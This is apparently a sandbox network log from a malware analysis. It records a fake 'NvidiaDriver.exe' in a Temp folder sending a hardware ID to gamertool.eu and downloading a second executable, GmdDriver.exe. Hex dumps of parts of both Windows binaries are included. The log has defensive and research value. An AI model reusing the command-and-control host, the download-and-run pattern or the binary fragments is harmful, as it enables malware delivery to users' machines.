2024-12-08 17:06:38 UTC	437	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5c b9 bf 90 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 5a 00 00 00 08 00 00 00 00 00 00 da 79 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL\"0Zy @ `
2024-12-08 17:06:38 UTC	1369	IN	Data Raw: 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba 79 00 00 00 00 00 00 48 00 00 00 02 00 05 00 10 47 00 00 f4 31 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 37 00 00 00 01 00 00 11 12 00 28 18 00 00 0a 7d 0f 00 00 04 12 00 02 7d 10 00 00 04 12 00 15 7d 0e 00 00 04 12 00 7c 0f 00 00 04 12 00 28 01 00 00 2b 12 00 7c 0f 00 00 04 28 1a 00 00 0a 2a 00 13 30 02 00 37 00 00 00 02 00 00 11 12 00 28 18 00 00 0a 7d 1a 00 00 04 12 00 02 7d 1b 00 00 04 Data Ascii: \@@.relocb@ByHG107(}}}\|(+\|(*07(}}
2024-12-08 17:06:38 UTC	1369	IN	Data Raw: 0a 00 00 04 2a 1e 02 28 1b 00 00 0a 2a 66 02 7b 0b 00 00 04 73 30 00 00 0a 25 17 6f 31 00 00 0a 28 32 00 00 0a 26 2a 1e 02 28 1b 00 00 0a 2a 66 02 7b 0c 00 00 04 73 30 00 00 0a 25 17 6f 31 00 00 0a 28 32 00 00 0a 26 2a 92 02 7b 0d 00 00 04 73 30 00 00 0a 25 17 6f 31 00 00 0a 25 7e 01 00 00 04 6f 33 00 00 0a 28 32 00 00 0a 26 2a 1b 30 03 00 17 01 00 00 10 00 00 11 02 7b 0e 00 00 04 0a 06 2c 55 06 17 3b b6 00 00 00 02 7b 10 00 00 04 7e 01 00 00 04 28 11 00 00 2b 2c 61 7e 06 00 00 04 28 02 00 00 06 6f 20 00 00 0a 0b 12 01 28 35 00 00 0a 2d 3f 02 16 25 0a 7d 0e 00 00 04 02 07 7d 11 00 00 04 02 7c 0f 00 00 04 12 01 02 28 12 00 00 2b dd b7 00 00 00 02 7b 11 00 00 04 0b 02 7c 11 00 00 04 fe 15 14 00 00 01 02 15 25 0a 7d 0e 00 00 04 12 01 28 21 00 00 0a 2b 66 7e Data Ascii: (f{s0%o1(2&(f{s0%o1(2&{s0%o1%~o3(2&0{,U;{~(+,a~(o (5-?%}}\|(+{\|%}(!+f~
2024-12-08 17:06:38 UTC	1369	IN	Data Raw: 00 00 04 02 7c 13 00 00 04 12 04 02 28 13 00 00 2b dd f3 00 00 00 02 7b 18 00 00 04 13 04 02 7c 18 00 00 04 fe 15 14 00 00 01 02 15 25 0a 7d 12 00 00 04 12 04 28 21 00 00 0a 19 8d 13 00 00 01 25 16 28 10 00 00 06 a2 25 17 02 7b 17 00 00 04 7b 0d 00 00 04 28 07 00 00 06 a2 25 18 02 7b 17 00 00 04 7b 0c 00 00 04 7e 01 00 00 04 28 0d 00 00 06 a2 28 44 00 00 0a 6f 20 00 00 0a 13 04 12 04 28 35 00 00 0a 2d 3e 02 1c 25 0a 7d 12 00 00 04 02 11 04 7d 18 00 00 04 02 7c 13 00 00 04 12 04 02 28 13 00 00 2b de 60 02 7b 18 00 00 04 13 04 02 7c 18 00 00 04 fe 15 14 00 00 01 02 15 25 0a 7d 12 00 00 04 12 04 28 21 00 00 0a de 20 13 05 02 1f fe 7d 12 00 00 04 02 14 7d 17 00 00 04 02 7c 13 00 00 04 11 05 28 37 00 00 0a de 1a 02 1f fe 7d 12 00 00 04 02 14 7d 17 00 00 04 02 Data Ascii: \|(+{\|%}(!%(%{{(%{{~((Do (5->%}}\|(+`{\|%}(! }}\|(7}}
2024-12-08 17:06:38 UTC	1369	IN	Data Raw: 00 0a 2a 00 1b 30 05 00 d8 00 00 00 15 00 00 11 02 7b 2c 00 00 04 0a 06 2c 7e 73 31 00 00 06 25 02 7b 2e 00 00 04 7d 20 00 00 04 25 02 7b 2f 00 00 04 7d 21 00 00 04 25 72 59 01 00 70 28 58 00 00 0a 0b 12 01 72 a3 01 00 70 28 59 00 00 0a 28 5a 00 00 0a 7d 22 00 00 04 fe 06 32 00 00 06 73 41 00 00 0a 28 42 00 00 0a 6f 20 00 00 0a 0c 12 02 28 35 00 00 0a 2d 3c 02 16 25 0a 7d 2c 00 00 04 02 08 7d 30 00 00 04 02 7c 2d 00 00 04 12 02 02 28 15 00 00 2b de 4f 02 7b 30 00 00 04 0c 02 7c 30 00 00 04 fe 15 14 00 00 01 02 15 25 0a 7d 2c 00 00 04 12 02 28 21 00 00 0a de 17 0d 02 1f fe 7d 2c 00 00 04 02 7c 2d 00 00 04 09 28 37 00 00 0a de 13 02 1f fe 7d 2c 00 00 04 02 7c 2d 00 00 04 28 38 00 00 0a 2a 01 10 00 00 00 00 07 00 a6 ad 00 17 18 00 00 01 36 02 7c 2d 00 00 04 Data Ascii: 0{,,~s1%{.} %{/}!%rYp(Xrp(Y(Z}"2sA(Bo (5-<%},}0\|-(+O{0\|0%},(!},\|-(7},\|-(86\|-
2024-12-08 17:06:38 UTC	1369	IN	Data Raw: 0a 2a 00 41 1c 00 00 00 00 00 00 07 00 00 00 d5 02 00 00 dc 02 00 00 20 00 00 00 18 00 00 01 36 02 7c 37 00 00 04 03 28 39 00 00 0a 2a 00 00 1b 30 03 00 53 01 00 00 10 00 00 11 02 7b 3f 00 00 04 0a 06 17 36 1c 02 73 2d 00 00 06 7d 42 00 00 04 02 7b 42 00 00 04 02 7b 41 00 00 04 7d 1e 00 00 04 00 06 2c 66 06 17 3b bb 00 00 00 02 7b 42 00 00 04 7b 1e 00 00 04 28 45 00 00 0a 28 0a 00 00 06 2d 6b 02 7b 42 00 00 04 fe 06 2e 00 00 06 73 41 00 00 0a 28 42 00 00 0a 6f 20 00 00 0a 0b 12 01 28 35 00 00 0a 2d 3f 02 16 25 0a 7d 3f 00 00 04 02 07 7d 43 00 00 04 02 7c 40 00 00 04 12 01 02 28 1a 00 00 2b dd c1 00 00 00 02 7b 43 00 00 04 0b 02 7c 43 00 00 04 fe 15 14 00 00 01 02 15 25 0a 7d 3f 00 00 04 12 01 28 21 00 00 0a 20 e8 03 00 00 28 46 00 00 0a 6f 20 00 00 0a 0b Data Ascii: A 6\|7(90S{?6s-}B{B{A},f;{B{(E(-k{B.sA(Bo (5-?%}?}C\|@(+{C\|C%}?(! (Fo
2024-12-08 17:06:38 UTC	1369	IN	Data Raw: 70 28 5a 00 00 0a 07 6f 70 00 00 0a 6f 71 00 00 0a 0d 12 03 28 72 00 00 0a 2d 3f 02 16 25 0a 7d 4f 00 00 04 02 09 7d 52 00 00 04 02 7c 50 00 00 04 12 03 02 28 1d 00 00 2b dd 9a 02 00 00 02 7b 52 00 00 04 0d 02 7c 52 00 00 04 fe 15 0a 00 00 1b 02 15 25 0a 7d 4f 00 00 04 12 03 28 73 00 00 0a 0c 08 6f 74 00 00 0a 39 3d 02 00 00 08 6f 75 00 00 0a 6f 76 00 00 0a 6f 77 00 00 0a 13 05 12 05 28 78 00 00 0a 2d 41 02 17 25 0a 7d 4f 00 00 04 02 11 05 7d 53 00 00 04 02 7c 50 00 00 04 12 05 02 28 1e 00 00 2b dd 2c 02 00 00 02 7b 53 00 00 04 13 05 02 7c 53 00 00 04 fe 15 0c 00 00 1b 02 15 25 0a 7d 4f 00 00 04 12 05 28 79 00 00 0a 13 04 11 04 28 4c 00 00 0a 3a cc 01 00 00 02 73 49 00 00 06 7d 51 00 00 04 02 7b 51 00 00 04 28 7a 00 00 0a 6f 7b 00 00 0a 11 04 28 45 00 00 Data Ascii: p(Zopoq(r-?%}O}R\|P(+{R\|R%}O(sot9=ouovow(x-A%}O}S\|P(+,{S\|S%}O(y(L:sI}Q{Q(zo{(E
2024-12-08 17:06:38 UTC	1369	IN	Data Raw: 11 07 28 4c 00 00 0a 3a 08 02 00 00 02 73 4b 00 00 06 7d 58 00 00 04 02 7b 58 00 00 04 17 8d 3b 00 00 01 25 16 28 1c 00 00 0a 72 5b 00 00 70 28 58 00 00 0a 13 08 12 08 72 a3 01 00 70 28 59 00 00 0a 11 07 28 81 00 00 0a 28 5a 00 00 0a 28 82 00 00 0a a2 28 83 00 00 0a 7d 4d 00 00 04 00 06 1a 59 45 03 00 00 00 40 00 00 00 87 00 00 00 71 01 00 00 7e 08 00 00 04 11 07 6f 7c 00 00 0a 6f 71 00 00 0a 13 05 12 05 28 72 00 00 0a 2d 41 02 1a 25 0a 7d 56 00 00 04 02 11 05 7d 5a 00 00 04 02 7c 57 00 00 04 12 05 02 28 21 00 00 2b dd b7 01 00 00 02 7b 5a 00 00 04 13 05 02 7c 5a 00 00 04 fe 15 0a 00 00 1b 02 15 25 0a 7d 56 00 00 04 12 05 28 73 00 00 0a 13 09 11 09 6f 7d 00 00 0a 26 02 02 7b 58 00 00 04 7b 4d 00 00 04 18 18 16 73 7e 00 00 0a 7d 5d 00 00 04 00 06 1b 2e 46 Data Ascii: (L:sK}X{X;%(r[p(Xrp(Y((Z((}MYE@q~o\|oq(r-A%}V}Z\|W(!+{Z\|Z%}V(so}&{X{Ms~}].F
2024-12-08 17:06:38 UTC	1369	IN	Data Raw: 0a 2a 00 00 1b 30 03 00 ad 01 00 00 10 00 00 11 02 7b 67 00 00 04 0a 06 45 04 00 00 00 37 00 00 00 91 00 00 00 eb 00 00 00 50 01 00 00 28 13 00 00 06 6f 20 00 00 0a 0b 12 01 28 35 00 00 0a 2d 3f 02 16 25 0a 7d 67 00 00 04 02 07 7d 69 00 00 04 02 7c 68 00 00 04 12 01 02 28 27 00 00 2b dd 58 01 00 00 02 7b 69 00 00 04 0b 02 7c 69 00 00 04 fe 15 14 00 00 01 02 15 25 0a 7d 67 00 00 04 12 01 28 21 00 00 0a 28 12 00 00 06 6f 20 00 00 0a 0b 12 01 28 35 00 00 0a 2d 3f 02 17 25 0a 7d 67 00 00 04 02 07 7d 69 00 00 04 02 7c 68 00 00 04 12 01 02 28 27 00 00 2b dd fe 00 00 00 02 7b 69 00 00 04 0b 02 7c 69 00 00 04 fe 15 14 00 00 01 02 15 25 0a 7d 67 00 00 04 12 01 28 21 00 00 0a 28 11 00 00 06 6f 20 00 00 0a 0b 12 01 28 35 00 00 0a 2d 3f 02 18 25 0a 7d 67 00 00 04 02 Data Ascii: *0{gE7P(o (5-?%}g}i\|h('+X{i\|i%}g(!(o (5-?%}g}i\|h('+{i\|i%}g(!(o (5-?%}g
2024-12-08 17:06:38 UTC	1369	IN	Data Raw: 00 27 00 03 01 10 00 b5 04 00 00 59 00 12 00 29 00 03 01 10 00 9a 04 00 00 59 00 19 00 2b 00 03 01 10 00 01 00 00 00 41 00 1e 00 2d 00 03 01 10 00 16 00 00 00 41 00 1f 00 2f 00 03 01 10 00 2b 00 00 00 41 00 20 00 31 00 03 01 10 00 40 00 00 00 41 00 23 00 33 00 03 01 10 00 55 00 00 00 41 00 26 00 35 00 03 01 10 00 d7 01 00 00 41 00 2b 00 39 00 03 01 10 00 a9 03 00 00 59 00 2c 00 3b 00 03 01 10 00 ee 03 00 00 59 00 31 00 3d 00 03 01 10 00 5e 04 00 00 59 00 36 00 3f 00 03 01 10 00 9d 01 00 00 59 00 3f 00 41 00 03 01 10 00 30 04 00 00 59 00 44 00 43 00 03 21 10 00 10 05 00 00 41 00 49 00 45 00 03 01 10 00 2b 00 00 00 41 00 4c 00 49 00 03 01 10 00 40 00 00 00 41 00 4d 00 4b 00 03 01 10 00 6a 00 00 00 41 00 4e 00 4d 00 03 01 10 00 8f 03 00 00 59 00 4f 00 4f 00 Data Ascii: 'Y)Y+A-A/+A 1@A#3UA&5A+9Y,;Y1=^Y6?Y?A0YDC!AIE+ALI@AMKjANMYOO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49855	104.21.9.168	443	6940	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:41 UTC	165	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: gamertool.eu Content-Length: 69 Expect: 100-continue Connection: Keep-Alive
2024-12-08 17:06:42 UTC	69	OUT	Data Raw: 68 77 69 64 3d 33 66 63 35 39 39 32 63 63 61 61 62 31 36 32 64 64 34 33 32 38 37 32 33 38 64 61 34 61 33 31 36 63 30 36 66 33 63 66 61 37 37 37 35 66 34 37 65 64 32 66 33 61 39 66 30 63 38 61 30 35 66 34 32 Data Ascii: hwid=3fc5992ccaab162dd43287238da4a316c06f3cfa7775f47ed2f3a9f0c8a05f42
2024-12-08 17:06:42 UTC	25	IN	HTTP/1.1 100 Continue
2024-12-08 17:06:42 UTC	845	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ThtPw9Ckbpq3v4iz1IjxSHkZhdM8X0uwFFGxWX7gns5laB9BE8eZqoyugkKzat0WELW%2BZBvodzRzGqHF3MrOJEOdQL06YO3vzS2DXX%2B1zYm8X73iCwSfHlYB91POGTE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee58f5dd6342ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4202&min_rtt=2076&rtt_var=4833&sent=7&recv=10&lost=0&retrans=0&sent_bytes=3325&recv_bytes=870&delivery_rate=1370248&cwnd=184&unsent_bytes=0&cid=567f91c95cebaf54&ts=1071&x=0" 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49861	104.21.9.168	443	6940	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:44 UTC	142	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: gamertool.eu Content-Length: 69 Expect: 100-continue
2024-12-08 17:06:44 UTC	69	OUT	Data Raw: 68 77 69 64 3d 33 66 63 35 39 39 32 63 63 61 61 62 31 36 32 64 64 34 33 32 38 37 32 33 38 64 61 34 61 33 31 36 63 30 36 66 33 63 66 61 37 37 37 35 66 34 37 65 64 32 66 33 61 39 66 30 63 38 61 30 35 66 34 32 Data Ascii: hwid=3fc5992ccaab162dd43287238da4a316c06f3cfa7775f47ed2f3a9f0c8a05f42
2024-12-08 17:06:44 UTC	25	IN	HTTP/1.1 100 Continue
2024-12-08 17:06:45 UTC	882	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FsZA9BjVpmzGNTN2lP7WoyGjekNKNjg49FUsTMHKFgXfTXOFON2Kqurs8dikV8%2FWMU%2Bi5yAwR2QjD8RmlrfHWajYpuizxu9yJEvsjeLb6326xKOQECHq6XPHphhOVGY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee590448e28c6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8049&min_rtt=1804&rtt_var=12997&sent=7&recv=8&lost=0&retrans=0&sent_bytes=3325&recv_bytes=871&delivery_rate=1586956&cwnd=169&unsent_bytes=0&cid=5e2ce61cd3679d7c&ts=1058&x=0" 22 https://gamertool.eu/GmdDriver.exe
2024-12-08 17:06:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49868	104.21.9.168	443	6940	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:46 UTC	51	OUT	GET /GmdDriver.exe HTTP/1.1 Host: gamertool.eu
2024-12-08 17:06:47 UTC	949	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:47 GMT Content-Type: application/octet-stream Content-Length: 1461248 Connection: close Last-Modified: Fri, 06 Dec 2024 22:51:36 GMT ETag: "67537ff8-164c00" X-Content-Type-Options: nosniff Cache-Control: max-age=120 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o%2B7r3LxfmWaEwYYKOk0m%2BLuv2T3FacAfYEbSLyN2E6E800umDzy%2F6cn%2FFWKbKLpvMGHuBpO3%2B1wG0LZV7mfPOvGYecUqamsTUvsUBXkqS6%2Fl6Hlpy5z8Zcmk5xKr%2F1Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee5912cf968c41-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11549&min_rtt=1846&rtt_var=6612&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=689&delivery_rate=1581798&cwnd=225&unsent_bytes=0&cid=5b36510808a9530d&ts=1104&x=0"
2024-12-08 17:06:47 UTC	420	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 00 00 00 00 00 22 0a 00 3c 4e 00 00 e0 00 06 01 0b 01 02 28 00 40 08 00 00 46 16 00 00 0c 00 00 07 13 00 00 00 10 00 00 00 50 08 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 17 00 00 06 00 00 4a 4c 19 00 03 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"<N(@FP@JL@
2024-12-08 17:06:47 UTC	1369	IN	Data Raw: 61 00 00 00 ac 1c 00 00 00 50 08 00 00 1e 00 00 00 46 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 cc b2 00 00 00 70 08 00 00 b4 00 00 00 64 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 d4 0a 00 00 00 30 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 30 10 00 00 00 40 09 00 00 12 00 00 00 18 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 34 00 00 00 00 60 09 00 00 02 00 00 00 2a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 70 09 00 00 02 00 00 00 2c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ac 29 0c 00 00 80 09 00 00 2a 0c Data Ascii: aPF@.rdatapd@@.bss0.idata0@@.CRT4`@.tlsp,@.rsrc)
2024-12-08 17:06:47 UTC	1369	IN	Data Raw: 24 08 14 30 49 00 89 44 24 0c c7 44 24 04 18 30 49 00 c7 04 24 1c 30 49 00 e8 1d d7 00 00 c9 c3 8d 4c 24 04 83 e4 f0 ff 71 fc 55 89 e5 57 56 53 51 83 ec 28 64 a1 18 00 00 00 8b 58 04 31 c0 f0 0f b1 1d 30 30 49 00 74 14 39 c3 74 14 c7 04 24 e8 03 00 00 ff 15 88 43 49 00 57 eb e0 31 db eb 05 bb 01 00 00 00 a1 34 30 49 00 48 75 0e c7 04 24 1f 00 00 00 e8 e9 d6 00 00 eb 33 a1 34 30 49 00 85 c0 75 20 c7 05 34 30 49 00 01 00 00 00 c7 44 24 04 14 60 49 00 c7 04 24 0c 60 49 00 e8 e8 d6 00 00 eb 0a c7 05 08 30 49 00 01 00 00 00 a1 34 30 49 00 48 75 1e c7 44 24 04 08 60 49 00 c7 04 24 00 60 49 00 e8 c0 d6 00 00 c7 05 34 30 49 00 02 00 00 00 85 db 75 06 87 1d 30 30 49 00 a1 28 ac 48 00 85 c0 74 18 31 db 31 f6 c7 44 24 04 02 00 00 00 89 5c 24 08 89 34 24 ff d0 83 ec Data Ascii: $0ID$D$0I$0IL$qUWVSQ(dX100It9t$CIW140IHu$340Iu 40ID$`I$`I0I40IHuD$`I$`I40Iu00I(Ht11D$\$4$
2024-12-08 17:06:47 UTC	1369	IN	Data Raw: ff 89 44 24 04 8d 85 bc fe ff ff 89 04 24 e8 07 d7 07 00 8b 10 83 ea 0c 8b 12 01 d0 89 c1 e8 af fd 03 00 84 c0 74 07 b8 01 00 00 00 eb 05 b8 00 00 00 00 84 c0 0f 85 ef fe ff ff c7 04 24 0a 71 48 00 c7 85 58 fe ff ff 03 00 00 00 e8 cd 3f 01 00 8d 85 8c fe ff ff 89 c1 e8 e4 df 06 00 8d 85 a4 fe ff ff 89 c1 e8 d7 df 06 00 8d 85 bc fe ff ff 89 c1 e8 9e 4b 07 00 8d 45 88 89 c1 e8 c0 df 06 00 8d 45 a4 89 c1 e8 aa 5b 01 00 e9 d3 00 00 00 8b 95 5c fe ff ff 8b 85 58 fe ff ff 85 c0 74 13 83 e8 01 85 c0 74 7e 83 e8 01 85 c0 74 24 83 e8 01 0f 0b 89 95 50 fe ff ff 8d 45 db 89 c1 e8 ea 3c 06 00 90 8b 85 50 fe ff ff 89 85 50 fe ff ff eb 6f 89 95 50 fe ff ff 8d 85 8c fe ff ff 89 c1 e8 5c df 06 00 8b 85 50 fe ff ff 89 85 50 fe ff ff 8d 85 a4 fe ff ff 89 c1 e8 43 df 06 00 Data Ascii: D$$t$qHX?KEE[\Xtt~t$PE<PPoP\PPC
2024-12-08 17:06:47 UTC	1369	IN	Data Raw: 89 55 d8 83 7d d8 00 0f 84 d0 00 00 00 a1 28 30 49 00 8b 40 3c 89 c2 a1 28 30 49 00 01 d0 8b 80 a4 00 00 00 85 c0 0f 84 b1 00 00 00 a1 28 30 49 00 8b 40 3c 89 c2 a1 28 30 49 00 01 d0 8b 90 a0 00 00 00 8b 45 dc 01 d0 89 45 f0 e9 80 00 00 00 8b 45 f0 83 c0 08 89 45 d4 c7 45 ec 00 00 00 00 eb 50 8b 45 ec 8d 14 00 8b 45 d4 01 d0 0f b7 00 66 c1 e8 0c 66 83 f8 03 75 34 8b 45 f0 8b 10 8b 45 dc 01 c2 8b 45 ec 8d 0c 00 8b 45 d4 01 c8 0f b7 00 0f b7 c0 25 ff 0f 00 00 01 d0 89 45 d0 8b 45 d0 8b 10 8b 45 d8 01 c2 8b 45 d0 89 10 83 45 ec 01 8b 45 f0 8b 40 04 83 e8 08 d1 e8 39 45 ec 72 a0 8b 45 f0 8b 50 04 8b 45 f0 01 d0 89 45 f0 8b 45 f0 8b 00 85 c0 0f 85 73 ff ff ff a1 28 30 49 00 8b 40 3c 89 c2 a1 28 30 49 00 01 d0 8b 80 84 00 00 00 85 c0 0f 84 7e 01 00 00 a1 28 30 Data Ascii: U}(0I@<(0I(0I@<(0IEEEEEPEEffu4EEEE%EEEEEE@9ErEPEEEs(0I@<(0I~(0
2024-12-08 17:06:47 UTC	1369	IN	Data Raw: eb 1b 85 ff 74 15 e8 37 ff ff ff 85 c0 74 08 89 18 89 70 0c 89 78 10 89 c6 eb 02 31 f6 83 c4 0c 89 f0 5b 5e 5f 5d c3 55 89 e5 56 89 ce 53 89 d3 e8 0d ff ff ff 85 db 0f 94 c1 85 f6 0f 9e c2 08 ca 75 16 85 c0 74 12 31 d2 89 58 0c 89 50 04 89 50 08 89 10 89 70 10 eb 02 31 c0 5b 5e 5d c3 55 89 e5 53 89 d3 51 85 d2 74 18 e8 d3 fe ff ff 85 c0 75 04 89 c3 eb 0b c7 00 28 00 00 00 89 58 0c eb f1 89 d8 5a 5b 5d c3 55 89 e5 57 31 ff 56 89 c6 53 51 8b 40 0c 0f be 08 80 f9 6e 75 0f 8d 50 01 bf 01 00 00 00 89 56 0c 0f be 48 01 31 db 8d 41 d0 3c 09 76 08 85 ff 74 3a f7 db eb 36 8d 41 d0 b9 0a 00 00 00 89 45 f0 8b 55 f0 b8 ff ff ff 7f 29 d0 99 f7 f9 39 d8 7c 17 6b db 0a 8b 45 f0 01 c3 8b 46 0c 8d 50 01 89 56 0c 0f be 48 01 eb be 83 cb ff 5a 89 d8 5b 5e 5f 5d c3 55 89 e5 Data Ascii: t7tpx1[^_]UVSut1XPPp1[^]USQtu(XZ[]UW1VSQ@nuPVH1A<vt:6AEU)9\|kEFPVHZ[^_]U
2024-12-08 17:06:47 UTC	1369	IN	Data Raw: c0 83 c4 1c 5b 5e 5f 5d c3 55 89 e5 57 56 89 d6 53 89 c3 83 ec 1c 8b 78 28 8b 43 0c 80 38 42 75 20 40 89 43 0c 89 d8 e8 30 ff ff ff 89 f1 ba 4e 00 00 00 89 04 24 89 d8 e8 d2 f9 ff ff 89 c6 eb d8 89 7b 28 83 c4 1c 89 f0 5b 5e 5f 5d c3 55 89 e5 57 56 89 d6 53 89 c3 83 ec 1c 8b 43 0c 80 38 57 75 4a 8d 50 01 bf 55 00 00 00 89 53 0c 80 78 01 50 75 0b 83 c0 02 bf 56 00 00 00 89 43 0c 89 d8 e8 d6 fe ff ff 89 fa 89 04 24 8b 0e 89 d8 e8 7b f9 ff ff 89 06 89 c2 85 c0 75 04 31 c0 eb 12 89 d8 e8 9b fc ff ff 85 c0 75 b0 eb ef b8 01 00 00 00 83 c4 1c 5b 5e 5f 5d c3 85 d2 79 0e c3 83 38 30 75 0d 85 d2 74 0c 8b 40 10 4a 85 c0 75 ef c3 31 c0 c3 8b 40 0c c3 8b 88 10 01 00 00 85 c9 74 0b 8b 41 04 8b 52 0c 8b 40 10 eb cd c7 80 18 01 00 00 01 00 00 00 31 c0 c3 55 89 e5 56 89 Data Ascii: [^_]UWVSx(C8Bu @C0N${([^_]UWVSC8WuJPUSxPuVC${u1u[^_]y80ut@Ju1@tAR@1UV
2024-12-08 17:06:47 UTC	1369	IN	Data Raw: 8b 87 14 01 00 00 8b 59 0c 8d 54 24 30 89 44 24 14 31 c0 89 87 14 01 00 00 31 c0 89 44 24 1c 85 db 74 07 83 7c 24 1c 04 75 0f c7 87 18 01 00 00 01 00 00 00 e9 3e 15 00 00 8b 87 14 01 00 00 8b 8f 10 01 00 00 89 97 14 01 00 00 83 c2 10 89 5a f4 89 42 f0 31 c0 89 42 f8 8b 03 89 4a fc ff 44 24 1c 89 44 24 18 e8 03 f4 ff ff 85 c0 75 09 83 7c 24 18 02 75 5e eb 05 8b 5b 0c eb a2 8b 5b 10 83 3b 49 75 03 8b 5b 0c 8b 44 24 1c c1 e0 04 8d 54 04 30 85 db 74 93 8b 03 e8 d0 f3 ff ff 85 c0 74 32 83 7c 24 1c 04 74 81 0f 10 42 f0 8d 42 f0 89 5a f4 89 97 14 01 00 00 83 c2 10 0f 11 42 f0 89 42 f0 31 c0 89 42 e8 8b 5b 0c 89 4a ec ff 44 24 1c eb bf 83 3b 04 75 29 8d 44 24 28 89 4c 24 28 89 87 10 01 00 00 8b 43 10 89 5c 24 2c 83 38 5e 75 0f 8b 50 0c 89 53 10 8b 56 10 89 50 0c Data Ascii: YT$0D$11D$t\|$u>ZB1BJD$D$u\|$u^[[;Iu[D$T0tt2\|$tBBZBB1B[JD$;u)D$(L$(C\$,8^uPSVP
